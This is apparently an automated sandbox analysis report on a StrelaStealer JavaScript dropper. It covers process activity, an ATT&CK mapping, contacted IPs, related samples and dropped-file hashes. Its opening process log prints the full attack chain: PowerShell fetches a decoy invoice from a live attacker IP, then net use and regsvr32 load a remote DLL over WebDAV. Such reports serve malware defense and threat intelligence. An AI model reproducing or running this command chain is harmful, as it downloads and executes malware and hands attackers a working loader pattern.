Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\8117104914610.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
5476263142183119959.js	8%	Virustotal		Browse
5476263142183119959.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/v	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod.C:	edb.log.8.dr	false		high
http://crl.ver)	svchost.exe, 00000008.00000002.2961187342.000001F147A00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.7.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	edb.log.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2	edb.log.8.dr	false		high
http://193.143.1.205:8888/v	net.exe, 00000006.00000002.1743532594.0000025BA9F79000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2?OneDriveUpdate=f359a5df14f97b6802371976c96	svchost.exe, 00000008.00000003.1742700193.000001F147CC2000.00000004.00000800.00020000.00000000.sdmp, edb.log.8.dr	false		high
http://193.143.1.205:8888/pace	net.exe, 00000006.00000002.1743532594.0000025BA9F48000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000006.00000002.1743532594.0000025BA9FA0000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1743532594.0000025BA9F79000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1743532594.0000025BA9F48000.00000004.00000020.00020000.00000000.sdmp	false		high
https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6	svchost.exe, 00000008.00000003.1742700193.000001F147CC2000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.8.dr, edb.log.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1589012
Start date and time:	2025-01-11 08:23:03 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 59s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	16
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	5476263142183119959.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 2.23.240.205, 18.213.11.84, 54.224.241.105, 50.16.47.176, 34.237.241.83, 2.16.168.105, 2.16.168.107, 172.64.41.3, 162.159.61.3, 2.23.242.162, 199.232.214.172, 23.209.209.135, 2.22.242.123, 2.22.242.11, 52.149.20.212, 104.77.220.172, 13.107.246.45
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, a122.dscd.akamai.net, e16604.g.akamaiedge.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
02:23:56	API Interceptor	23x Sleep call for process: powershell.exe modified
02:24:00	API Interceptor	1x Sleep call for process: net.exe modified
02:24:00	API Interceptor	2x Sleep call for process: svchost.exe modified
02:24:13	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	700123582683323683.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	3274215974163975076.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	262192623320272411.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	98329724306712404.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	71621480653828912.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5405100231672716142.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3129912127106722813.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	11411287862891124151.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	545019492124428424.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1505131979137938490.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3000822141700718957.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3644547571625413.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	1.3073339267161652
Encrypted:	false
SSDEEP:	3072:5JCnRjDxImmaooCEYhlOe2Pp4mH45l6MFXDaFXpVv1L0Inc4lfEnogVsiJKrvrC:KooCEYhgYEL0In
MD5:	D040323B4A9AA8D9BC3A5AB98719972A
SHA1:	D068FDF5ADF59EAC4E99611E440113AC7E950E85
SHA-256:	CDCB65D7A37BA0C75A3E9D943D224BEF371575612CA5E0F1EDC6C0D726881D35
SHA-512:	7EDD1F1A7CF028851D607897201E321E73CFDDD5F01ECA54DF84A20482FB2D7830438EB6981AC728839C387E6C6B1A165258803A9C1D905C3133487AE81C13A5
Malicious:	false
Preview:	z3..........@..@.;...{..................<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@..........................................#.................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xf2a1da03, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.42210972996836943
Encrypted:	false
SSDEEP:	1536:hSB2ESB2SSjlK/dvmdMrSU0OrsJzvdYkr3g16T2UPkLk+kTX/Iw4KKCzAkUk1kI6:haza/vMUM2Uvz7DO
MD5:	443D76D5A958441803112818592F0E25
SHA1:	F9FF324F36A323B390A45D0833DD84A251546F6C
SHA-256:	ABC44A16E3373C0934D19C84CEEBBA116BE546241EEFDBAFFBFFCF8D6F17B3D7
SHA-512:	CF137C60F919CABBAB56C4B54530C43EE2832E155194C115E6888E6BD2BE2ABA3294F041ACEC9F087FEC8617AA648006C30BB9B8CBC50D664FB97384E2210833
Malicious:	false
Preview:	...... .......A.......X\...;...{......................0.!..........{A......}..h.#.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........;...{...............................................................................................................................................................................................2...{...................................%%z.....}...................[.i.....}...........................#......h.#.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07630529780838376
Encrypted:	false
SSDEEP:	3:cOW8YeTQf7vCjn13a/WkYEXAllcVO/lnlZMxZNQl:cx8zTS7a53qjfXAOewk
MD5:	1374AB659B04A9C0FE80BC9FD0439E85
SHA1:	CFB36CB02C95B70FCB30B95504ED572D2695F061
SHA-256:	DDC6D0D57A4C8F7E93AF7464159AD71D21CCE06BE04E7E5AC0AFF7E991FFEE2D
SHA-512:	9B3930A0AE84C2392D117F2F5328C376F4E49B0CFE1FE81ECE750E37EBB0B61A2ECF0D2CF7BB97BF2B7FCE3B7B7B2B7AA4F1222F53F3FC1D4DF25C02FBDF0C96
Malicious:	false
Preview:	>..k.....................................;...{.......}.......{A..............{A......{A..........{A].................[.i.....}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.137883515747105
Encrypted:	false
SSDEEP:	6:iOQuVq2Pwkn2nKuAl9OmbnIFUtqGHpgZmwUGHpIkwOwkn2nKuAl9OmbjLJ:7dVvYfHAahFUtnJg/JJI5JfHAaSJ
MD5:	FF35197A672A04864D2461A91603B3DA
SHA1:	0592A424FEDA26A46226F0EF100AD7A1E4A44A38
SHA-256:	6F11E3D3B3E512C29ABC2C53DCB9F25F3967ACCE8973F474CDE7C489BFE0C261
SHA-512:	E728B2A2E50FB55184B44BA3BAFB4950026489B0C365F38F7C05927E6ECB5529D3F6CFBEEB3A23764D38045CFB93A91F073351AA376E57E2FF4F5E783596C3A9
Malicious:	false
Preview:	2025/01/11-02:24:00.806 1bc4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:24:00.808 1bc4 Recovering log #3.2025/01/11-02:24:00.808 1bc4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.137883515747105
Encrypted:	false
SSDEEP:	6:iOQuVq2Pwkn2nKuAl9OmbnIFUtqGHpgZmwUGHpIkwOwkn2nKuAl9OmbjLJ:7dVvYfHAahFUtnJg/JJI5JfHAaSJ
MD5:	FF35197A672A04864D2461A91603B3DA
SHA1:	0592A424FEDA26A46226F0EF100AD7A1E4A44A38
SHA-256:	6F11E3D3B3E512C29ABC2C53DCB9F25F3967ACCE8973F474CDE7C489BFE0C261
SHA-512:	E728B2A2E50FB55184B44BA3BAFB4950026489B0C365F38F7C05927E6ECB5529D3F6CFBEEB3A23764D38045CFB93A91F073351AA376E57E2FF4F5E783596C3A9
Malicious:	false
Preview:	2025/01/11-02:24:00.806 1bc4 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-02:24:00.808 1bc4 Recovering log #3.2025/01/11-02:24:00.808 1bc4 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.139149121399537
Encrypted:	false
SSDEEP:	6:iOQAlyq2Pwkn2nKuAl9Ombzo2jMGIFUtqp1ZmwUulRkwOwkn2nKuAl9Ombzo2jM4:7svYfHAa8uFUtO1/J5JfHAa8RJ
MD5:	F584781FF6F5201D127A4A8A7E030F89
SHA1:	23B59DB25B656568149EB60BA2910F2B05CF7112
SHA-256:	C86865545B954B2E2630E0645FE12906A6B3195C2C893AA0C99F5EEFA071F22E
SHA-512:	4CA42AC2FEF915CB2950E7CEC25B846E7BFD4EED67057AE359382B93E4BCA536413A779FA5CE3D619E7EA4188586373493B8446E39BA8898FAE4A89016CA8A20
Malicious:	false
Preview:	2025/01/11-02:24:00.864 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:24:00.865 1c50 Recovering log #3.2025/01/11-02:24:00.866 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.139149121399537
Encrypted:	false
SSDEEP:	6:iOQAlyq2Pwkn2nKuAl9Ombzo2jMGIFUtqp1ZmwUulRkwOwkn2nKuAl9Ombzo2jM4:7svYfHAa8uFUtO1/J5JfHAa8RJ
MD5:	F584781FF6F5201D127A4A8A7E030F89
SHA1:	23B59DB25B656568149EB60BA2910F2B05CF7112
SHA-256:	C86865545B954B2E2630E0645FE12906A6B3195C2C893AA0C99F5EEFA071F22E
SHA-512:	4CA42AC2FEF915CB2950E7CEC25B846E7BFD4EED67057AE359382B93E4BCA536413A779FA5CE3D619E7EA4188586373493B8446E39BA8898FAE4A89016CA8A20
Malicious:	false
Preview:	2025/01/11-02:24:00.864 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-02:24:00.865 1c50 Recovering log #3.2025/01/11-02:24:00.866 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\5557a44a-5609-447f-99e6-2c10e0c66bec.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.959153561204945
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYF2sBdOg2HEZcaq3QYiubInP7E4T3y:Y2sRds3NdMHEg3QYhbG7nby
MD5:	A729CD5E37C40B2C00C789A62A40B7B6
SHA1:	2E3F5E716E12875083BAC2CE43C565D36E53F600
SHA-256:	C057A8E481153DAA84F1D5F06146AEFFF537B5647999F1BFB634795F931A848F
SHA-512:	E5D605B45597A596C0F835A349C92F8D8C7B82E37ED1F61758B2ACB2693D29B91250E64911D7238CADAD3DB0818B57AAE1CFB62745F174E820AA0E5E7F0C1D81
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381140253469313","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139478},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.959153561204945
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqYF2sBdOg2HEZcaq3QYiubInP7E4T3y:Y2sRds3NdMHEg3QYhbG7nby
MD5:	A729CD5E37C40B2C00C789A62A40B7B6
SHA1:	2E3F5E716E12875083BAC2CE43C565D36E53F600
SHA-256:	C057A8E481153DAA84F1D5F06146AEFFF537B5647999F1BFB634795F931A848F
SHA-512:	E5D605B45597A596C0F835A349C92F8D8C7B82E37ED1F61758B2ACB2693D29B91250E64911D7238CADAD3DB0818B57AAE1CFB62745F174E820AA0E5E7F0C1D81
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381140253469313","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":139478},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.261197731048358
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo75hzW:etJCV4FiN/jTN/2r8Mta02fEhgO73go+
MD5:	AA31E2428271C6C11A1F6FA8B3836A8A
SHA1:	FECF1B5CAC0F9AF09A09C6839B2CB1D750B3035A
SHA-256:	F90AD0A0B5F49BBB0C2C955C32CD453794A4D7E712B98289EE36E6966CEBD1A3
SHA-512:	1CCDCEA364228DE12D014FB4EEE5444CBB8B4D98230DA0A98F64BCD2D1BFF11AF8E1999CA03A99157E7FAC08C925EAAAE4D7D4C540E3D5FDDAC50ABFCAE930B7
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.078827761515145
Encrypted:	false
SSDEEP:	6:iOQgU9yq2Pwkn2nKuAl9OmbzNMxIFUtqgv1ZmwUgtcRkwOwkn2nKuAl9OmbzNMFd:7H9vYfHAa8jFUtlv1/zK5JfHAa84J
MD5:	10A4ECFE0B6EC6B29233F550C8779508
SHA1:	5303B3D7F536FA21EDDA5ED22EB2411B19A1A1F4
SHA-256:	938EE14FF7BEE01FF9821D692902E53D8991B8E48A3494C6E6C6B277B0A7A9E5
SHA-512:	9B56CFDEA93A6AF43D9EB17E81AC568B46054ED9DD4CF540E7D31AFFA52BF27CAD19595928608EDD1BEAB724F36C8BE9A77A52398E1D2F7949C704BDC11A7F1A
Malicious:	false
Preview:	2025/01/11-02:24:01.031 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:24:01.032 1c50 Recovering log #3.2025/01/11-02:24:01.033 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.078827761515145
Encrypted:	false
SSDEEP:	6:iOQgU9yq2Pwkn2nKuAl9OmbzNMxIFUtqgv1ZmwUgtcRkwOwkn2nKuAl9OmbzNMFd:7H9vYfHAa8jFUtlv1/zK5JfHAa84J
MD5:	10A4ECFE0B6EC6B29233F550C8779508
SHA1:	5303B3D7F536FA21EDDA5ED22EB2411B19A1A1F4
SHA-256:	938EE14FF7BEE01FF9821D692902E53D8991B8E48A3494C6E6C6B277B0A7A9E5
SHA-512:	9B56CFDEA93A6AF43D9EB17E81AC568B46054ED9DD4CF540E7D31AFFA52BF27CAD19595928608EDD1BEAB724F36C8BE9A77A52398E1D2F7949C704BDC11A7F1A
Malicious:	false
Preview:	2025/01/11-02:24:01.031 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-02:24:01.032 1c50 Recovering log #3.2025/01/11-02:24:01.033 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444742894366425
Encrypted:	false
SSDEEP:	384:yezci5tUiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rDs3OazzU89UTTgUL
MD5:	AC6DA7F5A94C2725A64C24485AE577EA
SHA1:	31C85A20524E64BB88BC8EB1040DC38450DF7928
SHA-256:	9D3CB3562660059C68E9A2125B869EBEC9B60FCB7B09FE6399512372523F7855
SHA-512:	F83D0359C09723D9ECC9F253F4FF58C7A56DA617B27C140724C56EE644AFC54AAD7C5E1B96C02F37B50FFA194D0B3D4A5FABEAF2936CFEA0A50C6771CD8C72FB
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7744422753421643
Encrypted:	false
SSDEEP:	48:7M5p/E2ioyVIioy9oWoy1Cwoy1sKOioy1noy1AYoy1Wioy1hioybioyWoy1noy1H:72pjuIF7XKQLmb9IVXEBodRBkk
MD5:	45FB4D55D60EFFB03D5DA4FF665E716D
SHA1:	AD705A50C44AD88BC12035AC6FD92E7F6AEF2306
SHA-256:	DCA532285609A1B862422F953765A214DB132F2372F8250AE0E9C38B133A75DA
SHA-512:	108D53739A7F9351BAF5D3A4EFB1E73E0DB4836E943BF9B1ABA94C964E999145C664C22B77E7587677D86750C4E1DB9F8C76542B16B977B9BD053D5B9C8CBEE8
Malicious:	false
Preview:	.... .c......'.%...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

